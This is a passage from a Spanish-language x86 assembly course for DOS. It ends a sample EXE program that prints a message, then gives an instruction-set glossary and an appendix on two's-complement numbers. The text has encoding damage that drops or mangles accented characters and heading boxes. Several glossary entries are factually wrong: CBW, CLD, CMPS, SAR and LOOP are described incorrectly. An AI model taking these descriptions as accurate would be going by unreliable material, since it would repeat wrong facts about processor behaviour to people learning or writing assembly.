;la pila
DATOS SEGMENT 'DATA' ; Abre ahora el segmento de datos
Mensa DB 'Esto es un ejemplo EXE$' ; El $ al final, recordad !
DATOS ENDS
CODIGO SEGMENT 'CODE' ; Vamos con el de cdigo
ASSUME CS:CODIGO,DS:DATOS,SS:PILA
Entrada PROC
mov ax,DATOS ; Valor del segmento DATOS
mov ds,ax ; Ahora queda en DS
lea dx,mensa ; Desplazamiento del mensaje
mov ah,9 ; Servicio 9 de la int 21h
int 21h ; Imprime el mensaje
mov ax,4C00h ; Servicio 4Ch, retorna al DOS
int 21h
Entrada ENDP ; Cierra el procedimiento Entrada
CODIGO ENDS
END Entrada ; Fin del programa
վ Ap‚ndice A Ը
;
Juego de instrucciones
Instrucciones:
Mnemnico Explicacin
AAA
Adjust ASCII after Addition, ajuste ASCII despu‚s de sumar.
Esta instruccin se emplea tras sumar dos nmeros BCD no
empaquetados de dos dgitos con ADD AX,reg/mem. Comprueba si
el contenido de AL supera a nueve, y realiza si es cierto una
operacin que consiste en restar 10 de AL. AH se incrementa
si AL fue superior a 9.
ADD
Suma al operando destino el operando origen, almacenando
en el operando destino el resultado.
AAM
Ajusta ASCII despu‚s de multiplicar
Convierte el nmero binario de 8 bits en AL en un nmero
BCD no empaquetado de dos dgitos en AX. AL debe ser menor
que 100 para que el ajuste proporcione un nmero v lido.
AAS
Ajusta ASCII despu‚s de restar
Se emplea despu‚s de restar dos nmeros BCD no empaquetados
con SUB AX,reg/mem. Comrpueba si AL es mayor a 9, y si lo
es, suma 10 a AL. Si se realiza ajuste, el flag de acarreo
se activa.
ADC
Add With Carry, suma los dos operandos y el flag de
acarreo, almacenando en el operando destino el resultado
de la suma
ADD
ADDition, ‚sta instruccin suma los dos operandos y
almacena el resultado en el de destino.
AND
Realiza un AND lgico entre los dos operandos de la
instruccin, almacenando el resultado en el de destino.
CALL
Empuja IP y CS a la pila, y salta a la direccin que
indica su operando.
CBW
Convert Byte to Word, copia el bit de mayor peso de AH en
cada uno de los de AL
CLC
Clear Carry Flag, pone el flag de acarreo a cero.
CLD
Clear Direction Flag, pone a cero el flag de acarreo.
CLI
Clear Interrupts, pone e flag de interrupcin a cero, con
lo que no se podr n hacer llamadas a ‚stas hasta llegar a
un STI ( Set Interrupts )
CMC
CoMplement Carry flag, invierte el contenido del flag de
acarreo.
CMP
Resta el operando origen del destino, tan slo que no
almacena el resultado, si actualiz ndose sin embargo los
flags.
CMPS
Comparar cadena, puede usarse sin operandos, en cuyo caso
tendr que ser CMPSB o CMPSW ( Byte o Word ), o con ellos.
Los elementos a comparar est n apuntados por ES:DI y DS:DI
CWD
Convert Word to Double Word, lo que har ser copiar el
signo de AX, o sea, su byte m s significativo, en DX.
DAA
Decimal Adjust AL after Adittion, se emplea tras sumar dos
nmeros BCD empaquetados de dos dgitos con ADD AL,reg/mem.
Verifica si el flag de acarreo auxiliar est a 1 o el
contenido de los cuatro bits menos significativos de AL
es mayor que 9, en cuyo caso se suma 6 a AL. Tras ‚sto,
comprueba si el flag de acarreo est activado o el contenido
de los 4 bits m s significativos es mayor que 9, en cuyo
caso se suma 60h a AL. El flag de acarreo se activa si se
ha realizado la segunda operacin, y el de acarreo auxiliar
si se realiz la primera.
DEC
Utiliza un operando, al que decrementa en una unidad.
DIV
Divide el acumulador entre el operando, dejando cociente
y resto. El acumulador ser AX en caso de divisin de 16
bits y DX-AX en caso de 32 bits, quedando cociente y resto
en AL-AH y AX-DX respectivamente.
ESC
ESCape
Sirve para pasar el control del procesador al copro
HLT
Bloquea el ordenador.
IDIV
Divisin para nmeros con signo
IMUL
Multiplicacin para nmeros con signo.
IN
INput from port, lee un byte del puerto que especifica el
operando origen y lo almacena en AL. Si el operando destino
es AX, almacena un segundo byte en AH ( el operando destino
slo puede ser AX o AL, y el origen DX o un nmero )
INC
Incrementa el operando en un byte, sin modificar el estado
de los flags.
INT
Llama a la interrupcin del operando ( p.ej, INT 21h )
INTO
INTerruption on Overflow, llama a la interrupcin 4 si el
flag de desbordamiento ( overflow ) est activado. En caso
de que sepamos con seguridad que no es as, es un NOP en
realidad.
IRET
Interruption Return, saca de la pila IP y CS y vuelve al
sitio donde se llam a la interrupcin ( cada vez que
ejecutamos una interrupcin, el ordenador efectua una serie
de pasos que acaban con ‚ste IRET )
JMP
Puede ser corto, cercano o largo, cambiando IP y a veces
CS con nuevos valores, o sea, transfiriendo el control a
otra parte del programa.
LAHF
Copia en AH el contenido del byte menos significativo del
registro de flags
LDS
Load Far Pointer with DS, Cargar puntero lejano con DS. Con
‚sta instruccin, se lee una palabra en la direccin indicada
por el origen, copi ndose en el registro destino, y de nuevo
se lee otra, que se almacena en DS
LEA
Load Effective Adress, Cargar direccin efectiva; calcula
el offset del operando origen, y lo almacena en el destino
( bastante til con etiquetas, por ejemplo )
LES
Load Far Pointer with ES; Igual que LDS, tan slo que
la segunda palabra la almacena en ES.
LOCK
Lock the Bus.
Se trata de una instruccin que se usa precediendo a
MOV, MOVS o XCHG, y previene del uso del Bus mientras se
ejecuta la instruccin para evitar que ‚ste sea usado por
algn evento externo, interrupciones, etc
LODS
LOaD String, cargar cadena
Si no hay operandos, debe de indicarse con B o W, para
saber si se opera con bytes o palabras. Carga en el
acumulador el elemento apuntado por DS:SI, sea byte o
palabra.
LOOP
Bucle, saltar a la direccin indicada en su operando
( por ejemplo, LOOP etiqueta ) mientras CX valga m s de
1, cuando su valor llegue a cero el bucle dejar de
ejecutarse.
MOV
Copia el operando origen en el destino, pudi‚ndose
realizar ‚stas combinaciones:
reg,reg
reg,mem
mem,reg
reg,inmed
mem,inmed
reg16,segrer
regseg,reg16
regseg,mem
MOVS
MOVe String, mover cadena
Normalmente con el operando B ( byte ) o W ( Word ) de
manera que se transfiera un byte o una palabra, MOVSB o
MOVSW transfieren lo contenido en DS:SI a ES:DI
MUL
MULtiply, multiplicar.
Multiplica el acumulador por el operando , si el operando
puesto en Mul es de 16 bits, el acumulador es AX, si el
operando en Mul es de 8 bits, ser AL.
NEG
Averigua el nmero negativo del operando, o sea, invierte
su valor. El c lculo se realiza invirtiendo todos los bits
y sumando uno al resultado.
NOP
No OPeration, no hace nada
NOT
Invierte los bits del operando ( 1s en 0s y viceversa )
OR
Realiza un 'O' lgico en los bits del operando, cambiando
el valor de ‚stos bits. Compara uno a uno los bits de
igual significacin de los operandos, y da como resultado
1 si uno de ellos o los dos est a uno, o los dos lo est n,
y 0 si los dos est n a 0; por ejemplo:
11100100
OR 00101101
----------
11101101
OUT
OUTput to port, Salida a puerto.
Escribe el contenido de AX o AL ( los dos nicos operandos
origen que se pueden usar con ‚sta instruccin ) en el
puerto especificado por el operando destino ( DX o un
nmero directo )
POP
Saca del valor operando de la pila
POPF
Saca de la pila el registro de flags
PUSH
Empuja a la pila el valor operando
PUSHF
Empuja el registro de flags a la pila
RCL
Rotate with Carry Left ( Rotar a la izquierda con acarreo )
Copia en cada bit del operando el contenido del que se
halla a su derecha, y en el de menor el contenido del flag
de acarreo; en ‚ste se copia el bit de mayor peso.
RCR
Rotate with Carry Right ( Rotar a la derecha con acarreo )
Copia en cada bit del operando el contenido del que se
encuentra a su izquierda, y en el bit de mayor peso el
contenido del flag de acarreo; en el flag de acarreo el
bit de menor peso.
REP
REPeat
Utilizada sin operandos, repite una operacin tantas veces
como el valor de CX, decrement ndolo cada vez ( puede
usarse como delay, aunque poco efectivamente ).
Se utiliza tambi‚n con operandos como MOVSW por ejemplo,
para realizar CX veces la operacin indicada.
Existen tambi‚n dos variantes de ‚sta instruccin; REPE
y REPNE ( REPeat if Equal, REPeat if Not Equal ), atendiendo
al estado de los flags.
RET
RETurn
Se utiliza para volver de una subrutina llamada con un
Call; ‚sta rden saca de la pila el valor de IP, o de IP
y CS, para retornar al lugar desde el que se le llam.
ROL
ROtate Left
Copia en cada bit del operando el contenido del que se
halla a su derecha, copiando en el bit de menor peso el
contenido del de mayor peso
ROR
ROtate Right
Copia en cada bit del operando el contenido del que se
halla a su izquierda, copiando en el bit de mayor peso el
contenido del de menor peso
SAHF
Store AH in Flags, Almacenar AH en los flags
Copia el contenido de AH en el byte de menor peso del
registro de flags.
SAL
Shift Aritmetic Left
Su sintaxis es [SAL destino,numero], mueve los bytes del
registro hacia la izquierda, copiando en cada uno el
contenido de aquel que estaba a su derecha. El byte de
menor peso se pone a cero, y el mayor se copia en el flag
de acarreo.
SAR
Shift Aritmetic Right
Realiza las mismas operaciones que SAL, pero al rev‚s, o
sea, cada bit copia el valor del de su izquierda, el de
mayor peso queda a cero, y el de menor se copia al flag
de acarreo
SBB
SuBstract with Borrow
Resta el operando origen y el flag de acarreo del
operando destino, almacen ndose el resultado en el operando
destino
SCAS
SCAn String, Examinar cadena
Se acompaa de una B o W detr s cuando no existe operando
para indicar el tamao ( Byte o Word )
Resta el operando destino, que est indicado por ES:DI
del acumulador ( sin realizar almacenamiento del resultado ),
y en funcin de ello actualiza los flags.
El operando puede llevar prefijo de segmento, que
sustituir a ES como prefijo del operando destino. DI ir
increment ndose/decrement ndose.
SHL
SHift Left
Igual que SAL
SHR
SHift Right
Ex ctamente igual que SAR
STC
SeT Carry flag, Activar flag de acarreo
Activa el flag de acarreo ( lo pone a uno )
STD
SeT Direction flag, Activar flag de direccin.
Lo pone a uno.
STI
SeT Interrupts, Activar interrupciones.
Activa las interrupciones.
STOS
STOre String
Normalmente se usa con B o W al final para indicar el
tamao, byte o palabra ( esencialmente si no se especifica
ningn operando ). Su funcin es copiar el contenido del
acumulador ( AL o AX ) en ES:DI. El operando puede llevar un
prefijo de segmento, que se usar en lugar de ES
SUB
SUBstract, resta
El objetivo de ‚sta instruccin consiste en restar al
operando destino el contenido del origen, conserv ndose
el resultado en ‚ste operando destino.
TEST
TEST, Comparar
Compara mediante un AND lgico los operandos origen y
destino; no almacena los resultados, pero s modifica los
flags.
WAIT
El computador entra en un estado de espera, que se ver
activado cuando el 'test' input en el microprocesador sea
activado.
XCHG
eXCHanGe ( intercambiar )
Intercambia los valores de los registros, por ejemplo en
un XCHG AX,BX, tras la operacin BX contendra al antiguo
AX, y vicecersa.
XLAT
Una de ‚stas instrucciones un tanto curiosas; almacena en
AL un byte de la direccin de memoria formada por DS y la
suma de BX y AL. Se puede indicar un operando para
especificar el segmento en vez de DS
XOR
eXclusive OR
Realiza un OR ( O ) excluyente entre el origen y el
destino; compara uno a uno los bits de los dos operandos,
resultando un 1 tan slo si uno y slo uno de los dos bits
comparados es 1, y cero en el resto de los casos.
Sera tal que as:
11010101
XOR 01011011
----------
10001110
registro, registro
ķ
ֽ APENDICE B ӷ
Ľ
NUMERACION NEGATIVA
Bien, ‚sta es una parte del curso que quiz debiera haber ido antes,
pero por su complicacin para la gente en fase de aprendizaje, he preferido
incluirlo como ap‚ndice.
Como se representan mediante lenguaje ensamblador los nmeros
negativos ?
El sistema utilizado es el denominado 'aritm‚tica de complemento a dos'.
Se pas bastante tiempo pensando en cu l sera el m‚todo ideal para
realizar ‚ste cometido, siendo condicin principal que las sumas y restas
diesen resultados lgicos; o sea, que -x+x sumasen 0, por ejemplo.
Para ello entonces, hagamos una prueba. Si al nmero binario 00000000
le restamos 00000001, el resultado ser 11111111, ya que en un byte al
pasar del nmero m s bajo a uno "negativo", sale el nmero m s alto.
Por tanto, 11111111 representar al '-1', as como 11111110 al -2, y
as hasta llegar al 10000000, que ser el -128. El nmero ex ctamente
anterior, el 01111111, ser el 127 entonces, y ‚sto nos permitir comprobar
cuando un nmero es negativo tan slo viendo si su primer bit est o no,
a uno.
As visto, ‚stas seran algunas representaciones:
00000001 ----> 1
00000011 ----> 3
01111111 ----> 127
11111111 ----> -1
11111110 ----> -2
10000000 ----> -128
Y visto ‚sto, cu l es la manera m s r pida de saber el valor de un
nmero negativo ? Es bien f cil; dad la vuelta a todos los bits del byte
( o de la palabra, o de lo que sea ), y sumadle uno, ese ser el nmero
representado sin signo.
P.ej, el nmero 10111011, que sabemos que es negativo ( si estamos
trabajando con nmeros negativos ) por el 1 en el bit de mayor peso:
Se le da la vuelta: 01000100, o sea, 68 decimal, y se le suma 1. Por
tanto, el nmero 10111011 cuando trabajemos con nmeros con signo es el -69
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